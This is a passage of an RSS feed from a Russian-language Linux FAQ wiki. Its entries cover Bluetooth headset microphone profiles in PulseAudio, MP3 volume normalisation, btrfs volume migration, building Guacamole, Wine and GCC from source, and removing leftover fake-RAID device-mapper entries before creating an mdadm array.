            <title>bluetooth_handset_microphone_absent</title>
            <link>https://wiki.autosys.tk/linux_faq/bluetooth_handset_microphone_absent</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В системе &lt;strong&gt;Ubuntu 20.04&lt;/strong&gt; + &lt;strong&gt;KDE&lt;/strong&gt; не доступен микрофон подключенной гарнитуры &lt;strong&gt;bluetooth&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-174&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Оказалось, что для того, чтобы работал микрофон должен быть активен профиль &lt;strong&gt;bluetooth&lt;/strong&gt;-гарнитуры &lt;strong&gt;Headset head unit (HSP/HFP)&lt;/strong&gt;, но по-умолчанию активируется профиль &lt;strong&gt;High Fidelity Playback (A2DP Sink)&lt;/strong&gt;, в котором микрофона нет. &lt;br/&gt;

Для того, чтобы переключить профиль bluetooth-гаритуры в KDE - подключаем гарнитуру, жмем правой кнопкой по иконке динамика рядом с часиками → &lt;strong&gt;Configure Audio Volume…&lt;/strong&gt; → справа &lt;strong&gt;Audio&lt;/strong&gt; → вкладка &lt;strong&gt;Advanced&lt;/strong&gt; и выбираем для &lt;strong&gt;bluetooth&lt;/strong&gt;-гаритуры нужный профиль. &lt;br/&gt;

Микрофон активен в профиле &lt;strong&gt;Headset head unit (HSP/HFP)&lt;/strong&gt; &lt;br/&gt;

Некоторым приложениям может понадобиться перезапуск полный или частичный (завершение текущего звонка) для того, чтобы обнаружить вновь подключенный микрофон. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;175-1374&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;автоматическое_переключение&quot;&gt;Автоматическое переключение&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Можно включить автоматическое переключение на профиль &lt;strong&gt;Headset head unit (HSP/HFP)&lt;/strong&gt; при появлении обращения к микрофону. &lt;br/&gt;

Для этого нужно отредактировать &lt;strong&gt;/etc/pulse/default.pa&lt;/strong&gt; и добавить туда (или отредактировать) строки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;### Automatically load driver modules for Bluetooth hardware
.ifexists module-bluetooth-policy.so
load-module module-bluetooth-policy auto_switch=2
.endif&lt;/pre&gt;

&lt;p&gt;
Необходимую опцию включает параметр &lt;strong&gt;auto_switch=2&lt;/strong&gt;, который заставляет &lt;strong&gt;PulseAudio&lt;/strong&gt; переключать профиль &lt;strong&gt;bluetooth&lt;/strong&gt; в зависимости от задач.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435_\u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1375-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 11 Feb 2021 07:28:58 +0000</pubDate>
        </item>
        <item>
            <title>boost_mp3_files_volume</title>
            <link>https://wiki.autosys.tk/linux_faq/boost_mp3_files_volume</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;bs1770gain&quot;&gt;bs1770gain&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Конвертить лучше по одному файлу, чтобы громкость внутри каждого файла была масимальной:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;find ./input_dir/* -exec bs1770gain -a -o ./output_dir/ --replaygain {} \;&lt;/pre&gt;

&lt;p&gt;
И дальше сжать в MP3: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;find ./output_dir/* -exec ffmpeg -i {} -ab 96k -map_metadata 0 -id3v2_version 3 {}.mp3 \;&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 01 May 2023 19:21:16 +0000</pubDate>
        </item>
        <item>
            <title>btrfs_nocow_lvmcache_sad_story</title>
            <link>https://wiki.autosys.tk/linux_faq/btrfs_nocow_lvmcache_sad_story</link>
            <description>
&lt;p&gt;
Грустная история неудачного &lt;strong&gt;hibernate&lt;/strong&gt; с последствиями для файловой системы &lt;strong&gt;BTRFS&lt;/strong&gt;, размещенной на на разделе с включенным &lt;strong&gt;lvmcache&lt;/strong&gt; и смонтированной с опцией &lt;strong&gt;nodatacow&lt;/strong&gt;.
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:17:51 +0000</pubDate>
        </item>
        <item>
            <title>btrfs_replace_very_slow</title>
            <link>https://wiki.autosys.tk/linux_faq/btrfs_replace_very_slow</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При попытке переезда &lt;strong&gt;btrfs&lt;/strong&gt; на другой том &lt;strong&gt;LVM&lt;/strong&gt; с помощью &lt;strong&gt;btrfs replace&lt;/strong&gt; я столкнулся с очень медленной работой. &lt;br/&gt;

Переезжал том размером &lt;strong&gt;1.7 Tb&lt;/strong&gt;. За 12 часов переехало около 3%. При этом в &lt;strong&gt;iotop&lt;/strong&gt; особой активности заметно не было.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-429&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Оказалось гораздо эффективнее использовать &lt;strong&gt;btrfs device add/remove&lt;/strong&gt;. &lt;br/&gt;

Я остановил процедуру &lt;strong&gt;replace&lt;/strong&gt; с помощью:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;btrfs replace cancel&lt;/pre&gt;

&lt;p&gt;
Это потребовало еще несколько часов. Затем добавил к системе том на который я хочу переехать:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;btrfs device add ...&lt;/pre&gt;

&lt;p&gt;
а старый том из системы убрал командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;btrfs device remove ...&lt;/pre&gt;

&lt;p&gt;
В результате процесс пошел гораздо бодрее! &lt;strong&gt;iotop&lt;/strong&gt; показал скорость чтения/записи порядка 60-70 Мб/сек. &lt;br/&gt;

Вся процедура производилась на примонтированной и неактивно используемой файловой системе. &lt;br/&gt;

В качестве бонуса, вариант &lt;strong&gt;btrfs device add/remove&lt;/strong&gt; позволяет перемещать файловую систему на устройства меньшего объема, при условии, что все текущие файлы поместятся на нем.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;430-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>building_guacamole_from_source</title>
            <link>https://wiki.autosys.tk/linux_faq/building_guacamole_from_source</link>
            <description>
&lt;p&gt;
&lt;strong&gt;Guacamole&lt;/strong&gt; состоит из &lt;strong&gt;guacamole-server&lt;/strong&gt; (осуществляет подключения через RDP и VNC) и &lt;strong&gt;guacamole-client&lt;/strong&gt; (приложения, которое с помощью HTML5 отображает картинку в браузере) &lt;br/&gt;

Зависимости для сборки сервера на &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt;: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get -y upgrade &amp;amp;&amp;amp; sudo apt-get -y install wget nano  build-essential libcairo2-dev libfontconfig1-dev libfreetype6-dev libpng12-dev libossp-uuid-dev libssh2-1-dev libpango1.0-dev libfreerdp-dev libfreerdp-plugins-standard libavcodec-dev libavutil-dev libswscale-dev libtelnet-dev libvncserver-dev libpulse-dev libssl-dev libvorbis-dev libwebp-dev libjpeg-turbo8-dev

wget http://apache-mirror.rbc.ru/pub/apache/incubator/guacamole/0.9.11-incubating/source/guacamole-server-0.9.11-incubating.tar.gz
 tar -xvf ./guacamole-server-0.9.11-incubating.tar.gz
 cd guacamole-server-0.9.11-incubating
 ./configure --with-init-dir=/etc/init.d
 make&lt;/pre&gt;

&lt;p&gt;
Для автостарта:
&lt;/p&gt;

&lt;p&gt;
Клиент
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; wget http://apache-mirror.rbc.ru/pub/apache/incubator/guacamole/0.9.11-incubating/source/guacamole-client-0.9.11-incubating.tar.gz
 tar -xzf guacamole-client-0.9.11-incubating.tar.gz
 cd guacamole-client-0.9.11-incubating/
mvn package&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>building_wine_from_source</title>
            <link>https://wiki.autosys.tk/linux_faq/building_wine_from_source</link>
            <description>&lt;pre class=&quot;code&quot;&gt;sudo apt-get install gcc-multilib g++-multilib lib32ncurses5 lib32z1 \
xorg-dev libx11-dev flex bison libglu1-mesa-dev libosmesa6-dev \
libopentk-cil-dev ocl-icd-opencl-dev libpcap-dev libdbus-cpp-dev \
libdbusmenu-gtk-dev libdbusmenu-gtk3-dev libdbusmenu-qt-dev \
libdbusmenu-qt5-dev libncurses5-dev libsane-dev &lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;git clone git://source.winehq.org/git/wine.git ~/wine-dirs/wine-source
cd ~/wine-dirs/wine-source/
./configure --enable-win64&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>build_gcc_5.3.0_from_source</title>
            <link>https://wiki.autosys.tk/linux_faq/build_gcc_5.3.0_from_source</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;установка_зависимостей_нужных_для_сборки&quot;&gt;Установка зависимостей, нужных для сборки&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Устанавливаем запчасти:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install bzip2 cmake build-essential bison zlib1g-dev &lt;/pre&gt;

&lt;p&gt;
Для успешной компиляции нужно установить GMP, MPC и MPFR.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043d\u0443\u0436\u043d\u044b\u0445 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u043a\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439_\u043d\u0443\u0436\u043d\u044b\u0445_\u0434\u043b\u044f_\u0441\u0431\u043e\u0440\u043a\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-327&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;gmp&quot;&gt;GMP&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://ftp.gnu.org/gnu/gmp/gmp-6.1.0.tar.bz2&lt;/pre&gt;

&lt;p&gt;
Распаковываем и ставим GMP:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;bunzip2 ./gmp-6.1.0.tar.bz2
tar -xvf ./gmp-6.1.0.tar
cd ./gmp-6.1.0/ 
./configure
make
make check
sudo make install
cd ..&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;GMP&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;gmp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;328-581&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;mpfr&quot;&gt;MPFR&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://ftp.gnu.org/gnu/mpfr/mpfr-3.1.3.tar.bz2&lt;/pre&gt;

&lt;p&gt;
Распаковываем и ставим mpfr:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;bunzip2 ./mpfr-3.1.3.tar.bz2
tar -xvf ./mpfr-3.1.3.tar
cd mpfr-3.1.3/
curl http://www.mpfr.org/mpfr-3.1.3/allpatches | patch -N -Z -p1
./configure
make
make check
sudo make install
cd ..&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;MPFR&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;mpfr&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;582-906&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;mpc&quot;&gt;MPC&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;strong&gt;MPC&lt;/strong&gt; нельзя установить без &lt;strong&gt;MPFR&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://ftp.gnu.org/gnu/mpc/mpc-1.0.3.tar.gz&lt;/pre&gt;

&lt;p&gt;
Распаковываем собираем и ставим mpc:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;tar -xvf ./mpc-1.0.3.tar.gz
cd ./mpc-1.0.3/
./configure
make
make check
sudo make install
cd ..&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;MPC&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;mpc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;907-1207&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;собираем_gcc&quot;&gt;Собираем GCC&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Процесс сборки и установки GCC 5.3 хорошо описан тут: &lt;a href=&quot;http://www.linuxfromscratch.org/blfs/view/cvs/general/gcc.html&quot; class=&quot;urlextern&quot; title=&quot;http://www.linuxfromscratch.org/blfs/view/cvs/general/gcc.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.linuxfromscratch.org/blfs/view/cvs/general/gcc.html&lt;/a&gt;
Скачиваем архив с GCC и распаковываем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://ftpmirror.gnu.org/gcc/gcc-5.3.0/gcc-5.3.0.tar.bz2
bzip2 -d ./gcc-5.3.0.tar.bz2
tar -xvf ./gcc-5.3.0.tar&lt;/pre&gt;

&lt;p&gt;
Создаем директорию, в которой будет проходить сборка и конфигурируем GCC:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mkdir ./gcc-build
cd gcc-build/
../gcc-5.3.0/configure --prefix=/usr --disable-multilib --with-system-zlib --enable-languages=c,c++,fortran,go,objc,obj-c++&lt;/pre&gt;

&lt;p&gt;
Собираем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0431\u0438\u0440\u0430\u0435\u043c GCC&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c_gcc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;1208-1907&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;устанавливаем_gcc&quot;&gt;Устанавливаем GCC&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo make install
sudo mkdir -pv /usr/share/gdb/auto-load/usr/lib
sudo mv -v /usr/lib64/*gdb.py /usr/share/gdb/auto-load/usr/lib
sudo chown -v -R root:root /usr/lib/gcc/*linux-gnu/5.3.0/include{,-fixed}
sudo ln -v -sf ../usr/bin/cpp /lib
sudo ln -v -sf gcc /usr/bin/cc
sudo install -v -dm755 /usr/lib/bfd-plugins
sudo ln -sfv ../../libexec/gcc/$(gcc -dumpmachine)/5.3.0/liblto_plugin.so /usr/lib/bfd-plugins/&lt;/pre&gt;

&lt;p&gt;
Проверяем что получилось:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;gcc -v&lt;/pre&gt;

&lt;p&gt;
Вывод должен быть примерно такой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/libexec/gcc/x86_64-unknown-linux-gnu/5.3.0/lto-wrapper
Target: x86_64-unknown-linux-gnu
Configured with: ../gcc-5.3.0/configure --prefix=/usr --disable-multilib --with-system-zlib --enable-languages=c,c++,fortran,go,objc,obj-c++
Thread model: posix
gcc version 5.3.0 (GCC)&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c GCC&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c_gcc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;1908-2849&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit7&quot; id=&quot;изменение_gcc_используемого_по-умолчанию&quot;&gt;Изменение gcc используемого по-умолчанию&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
если установлено несколько компиляторов, то переключаться между ними можно с помощью стандатрного механизма, обслуживающего символические ссылки - &lt;strong&gt;update-alternatives&lt;/strong&gt;.&lt;br/&gt;

Чтобы посмотреть текущую ссылку &lt;strong&gt;gcc&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;update-alternatives --query gcc&lt;/pre&gt;

&lt;p&gt;
Чтобы изменить текущую ссылку на &lt;strong&gt;gcc&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo update-alternatives --auto gcc
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/x86_64-unknown-linux-gnu-gcc-5.3.0 60&lt;/pre&gt;

&lt;p&gt;
В последней команде после &lt;strong&gt;- -install&lt;/strong&gt; указываем последовательно путь к символической ссылке (&lt;strong&gt;/usr/bin/gcc&lt;/strong&gt;), имя (&lt;strong&gt;gcc&lt;/strong&gt;), путь к исполняемому файлу (&lt;strong&gt;/usr/bin/x86_64-unknown-linux-gnu-gcc-5.3.0&lt;/strong&gt;) и приоритет (&lt;strong&gt;60&lt;/strong&gt;).
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 gcc \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u043f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435_gcc_\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e_\u043f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;2850-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>build_tcp_dump_on_openrisc_ork1_java_emulator</title>
            <link>https://wiki.autosys.tk/linux_faq/build_tcp_dump_on_openrisc_ork1_java_emulator</link>
            <description>&lt;pre class=&quot;code&quot;&gt;wget http://ftp.gnu.org/gnu/automake/automake-1.15.1.tar.gz
wget https://github.com/westes/flex/releases/download/v2.6.4/flex-2.6.4.tar.gz
&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>cannot-open-dev-sdc1-device-or-resource-busy</title>
            <link>https://wiki.autosys.tk/linux_faq/cannot-open-dev-sdc1-device-or-resource-busy</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Иногда так бывает, что на диске удается создать раздел, но использовать его не получается - выводится сообщение, что &lt;strong&gt;Cannot open /dev/sdc1: Device or resource busy&lt;/strong&gt;.&lt;br/&gt;

Например, при создании массива &lt;strong&gt;mdadm&lt;/strong&gt; выводится сообшение типа:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mdadm: Cannot open /dev/sdc1: Device or resource busy&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-480&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;причина&quot;&gt;Причина&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Вероятная причина этого в том, что диск ранее был в составе массива &lt;strong&gt;RAID&lt;/strong&gt;, созданного &lt;strong&gt;fake-RAID&lt;/strong&gt; контроллером. Это приводит к тому, что модуль &lt;strong&gt;dmraid&lt;/strong&gt; считывает с него информацию о бывшем массиве и создает соответствующие устройства. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438\u0447\u0438\u043d\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438\u0447\u0438\u043d\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;481-927&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Увидеть все подозрительные устройства можно с помощью команды:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dmsetup status&lt;/pre&gt;

&lt;p&gt;
Там будут представлены логические устройства хранения (тома LVM, массивы fake-raid и др.).&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Или просто поглядеть в файловой системе:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ls /dev/mapper/&lt;/pre&gt;

&lt;p&gt;
У меня был диск, который работал в массиве под управлением контроллера NVIDIA. Там были такие устройства:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;nvidia_igcghhag
nvidia_igcghhagp1
nvidia_igcghhagp2&lt;/pre&gt;

&lt;p&gt;
Я их удалил командами:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dmsetup remove /dev/mapper/nvidia_igcghhagp2
dmsetup remove /dev/mapper/nvidia_igcghhagp1
dmsetup remove /dev/mapper/nvidia_igcghhag&lt;/pre&gt;

&lt;p&gt;
Всё. После этого я успешно создал массив &lt;strong&gt;mdadm&lt;/strong&gt; на этом диске.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;928-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>centos-зависает-при-выполнении-mdadm-stop</title>
            <link>https://wiki.autosys.tk/linux_faq/centos-%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B0%D0%B5%D1%82-%D0%BF%D1%80%D0%B8-%D0%B2%D1%8B%D0%BF%D0%BE%D0%BB%D0%BD%D0%B5%D0%BD%D0%B8%D0%B8-mdadm-stop</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Экспериментировал с программным рейдом в XenServer 6.2 (сервер чистый, без апдейтов). Возможно, в апдейтах эту проблему исправили.&lt;br/&gt;

Столкнулся со странной ситуацией - на XenServer 6.2 при выполнении &lt;strong&gt;mdadm –stop&lt;/strong&gt; система сообщает что массив остановлен, но затем ВСЕ виснет намертво и помогает только ресет кнопкой. &lt;br/&gt;

При перезагрузке массив автоматически собирается, поэтому возникает вопрос - а как его остановить?&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
